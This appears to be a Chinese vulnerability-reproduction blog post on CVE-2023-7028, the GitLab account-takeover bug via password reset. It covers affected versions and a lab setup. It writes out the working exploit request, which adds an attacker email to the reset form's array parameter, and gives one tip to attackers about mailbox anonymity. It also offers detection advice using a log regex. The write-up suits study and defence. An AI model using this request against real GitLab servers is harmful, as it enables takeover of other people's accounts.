【漏洞复现】Gitlab任意用户密码重置

admin 2024年1月15日10:06:08评论71 views字数 2195阅读7分19秒阅读模式

【漏洞复现】Gitlab任意用户密码重置

0x01 前言

2024年1月,GitLab发布安全更新修复了一个任意用户密码重置漏洞,CVE编号为CVE-2023-7028,原因是在GitLab发布的16.1.0版本中引入了通过电子邮件找回密码的功能,已经注册的用户输入电子邮件会发送一个带有重置密码链接的邮件,攻击者可以通过构造恶意的数据包添加一个未验证的电子邮箱地址,同样可以收到重置密码的链接,达到重置密码的效果。

0x02 影响版本

16.1 <= GitLab CE/EE < 16.1.5
16.2 <= GitLab CE/EE < 16.2.8
16.3 <= GitLab CE/EE < 16.3.6
16.4 <= GitLab CE/EE < 16.4.4
16.5 <= GitLab CE/EE < 16.5.6
16.6 <= GitLab CE/EE < 16.6.4

16.7 <= GitLab CE/EE < 16.7.2

该漏洞利用方式较为简单,触发条件为:

1.gitlab使用了邮箱登录认证

2.需要获得一个在Gitlab数据库中已经存在的邮箱,即Gitlab用户注册时候填的邮箱

0x03 环境搭建

安装包从国内镜像站下载即可

【漏洞复现】Gitlab任意用户密码重置

安装镜像和依赖

yum localinstall gitlab-ce-16.1.1-ce.0.el7.x86_64.rpm  -y

【漏洞复现】Gitlab任意用户密码重置

修改配置文件后,gitlab-ctl reconfigure 重新加载配置

【漏洞复现】Gitlab任意用户密码重置

gitlab-rails console进入控制台

测试向外发送一封电子邮件,看邮件功能是否正常

【漏洞复现】Gitlab任意用户密码重置

可以正常收到即可

【漏洞复现】Gitlab任意用户密码重置

安装成功后会自动生成一个初始密码,24小时后第一次重新加载配置文件的时候失效

【漏洞复现】Gitlab任意用户密码重置

到/etc/gitlab/initial_root_password查看密码

【漏洞复现】Gitlab任意用户密码重置

使用root账户和上边的密码就可以进入后台

【漏洞复现】Gitlab任意用户密码重置

注册一个新用户来模拟已经存在的邮箱

【漏洞复现】Gitlab任意用户密码重置

注册成功后需要等待管理员批准

【漏洞复现】Gitlab任意用户密码重置

批准通过,即可登录

【漏洞复现】Gitlab任意用户密码重置

至此我们触发漏洞的环境就都搭配好了

0x04 漏洞利用

这里我们把Gitlab配置的发件人邮箱简称为[email protected],正常的Gitlab用户邮箱简称为[email protected],攻击者的邮箱简称为[email protected]

先看正常的找回密码的数据包,只有一个token和正常的找回密码收件邮箱,数据包构造为authenticity_token=&user[email][email protected]

【漏洞复现】Gitlab任意用户密码重置该漏洞触发的时候只需要在后边添加一个攻击者邮箱即可,数据包格式为authenticity_token=&user[email][][email protected]&user[email][][email protected]

【漏洞复现】Gitlab任意用户密码重置

数据包如下

POST /users/password HTTP/1.1Host: xxxContent-Length: 188Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://xxxContent-Type: application/x-www-form-urlencodedReferer: http://xxx/users/password/newAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeauthenticity_token=xxxxx&user%5Bemail%5D%5B%[email protected]&user%5Bemail%5D%5B%[email protected]

攻击者和失陷账户收到的邮件是一样的,都可以清楚的看到两个人的邮箱

【漏洞复现】Gitlab任意用户密码重置

点击Reset password后进入重置密码界面

【漏洞复现】Gitlab任意用户密码重置

0x05 总结

1.整个漏洞的利用过程并非把重置密码的邮件劫持掉了,更像是群发了一份,因为收到的邮件可以看到都有谁收到了邮件。因此,正常业务中如果收到了重置密码的邮件并且收件人中不只有自己的邮箱,请赶紧修改密码并通知安全人员

2.经测试,修改密码的链接点击进去修改一次之后就失效了,收件人谁点的快谁先生效

【漏洞复现】Gitlab任意用户密码重置

3.authenticity_token并非登录之后的token,构造数据包前需要先到users/password/new接口获取下authenticity_token的值

【漏洞复现】Gitlab任意用户密码重置

4.排查攻击的时候可以查看production_json.log日志文件,使用{"key":"user","value":{"email"(.*?)}}],"remote_ip":正则匹配到的邮箱,重点排查非Gitlab中注册用户的邮箱

【漏洞复现】Gitlab任意用户密码重置

5.由于该漏洞触发需要Gitlab数据库中存在的邮箱,公网绑定了域名的Gitlab需要提防邮箱泄漏的情况

6.攻击者在攻击的时候需要考虑邮箱的匿名,收到邮件的尽量快一点重置密码

0x06 参考链接

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released

https://mp.weixin.qq.com/s/qYjiUItKLHjlgl0PfofB4g

https://blog.csdn.net/qq_44930876/article/details/129497509

https://mp.weixin.qq.com/s/i9EoGEgtWM6WkCz3Qro7fA

【漏洞复现】Gitlab任意用户密码重置

原文始发于微信公众号(溪琉安全录):【漏洞复现】Gitlab任意用户密码重置

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月15日10:06:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Gitlab任意用户密码重置http://cn-sec.com/archives/2393253.html

发表评论

匿名网友 填写信息